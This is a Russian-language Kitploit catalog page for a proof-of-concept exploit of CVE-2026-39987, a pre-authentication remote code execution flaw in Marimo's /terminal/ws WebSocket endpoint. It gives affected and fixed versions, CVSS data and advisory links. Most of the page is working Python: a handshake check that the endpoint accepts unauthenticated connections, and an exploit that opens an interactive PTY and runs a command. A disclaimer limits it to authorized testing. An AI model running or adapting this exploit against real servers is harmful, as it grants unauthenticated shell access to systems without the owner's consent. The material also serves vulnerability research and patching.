Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39987 — Proof-of-concept эксплойт для удалённого выполнения кода без аутентификации в Marimo через WebSocket-эндпоинт, позволяющий неаутентифицированным атакующим получить интерактивную PTY-оболочку. | Kitploit
Инструменты/GitHubGitHub/h3raklez/cve-2026-39987
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

Proof-of-concept эксплойт для удалённого выполнения кода без аутентификации в Marimo через WebSocket-эндпоинт, позволяющий неаутентифицированным атакующим получить интерактивную PTY-оболочку.

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39987 — Marimo Pre-Auth RCE

Только для образовательных целей и авторизованных исследований в области безопасности.

Описание

Удаленное выполнение кода без предварительной аутентификации в Marimo <= 0.20.4.
WebSocket-эндпоинт /terminal/ws пропускает проверку аутентификации, что позволяет неаутентифицированному атакующему получить полноценную интерактивную PTY-оболочку через одно подключение.

  • CVSS v4.0: 9.3 (Critical)
  • CWE: CWE-306 (Missing Authentication for Critical Function)
  • Затронутые версии: <= 0.20.4
  • Исправленная версия: 0.23.0

Требования

  • Python 3
  • websockets (pip install websockets)
  • Сетевой доступ к порту 2718 на целевой системе

Проверка эндпоинта

Подтверждает, что эндпоинт принимает подключения без учетных данных:

root@kitploit:~
import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()

Ожидаемый результат: HTTP/1.1 101 Switching Protocols


Эксплойт

root@kitploit:~
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Соединение установлено без аутентификации")
        await asyncio.sleep(0.3)

        # Чтение начального баннера PTY
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY banner]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Отправка команды
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Чтение фреймов до истечения таймаута
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE output]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))

Ссылки

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

Отказ от ответственности

Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным. Автор не несет ответственности за любое неправомерное использование.

Скачать инструмент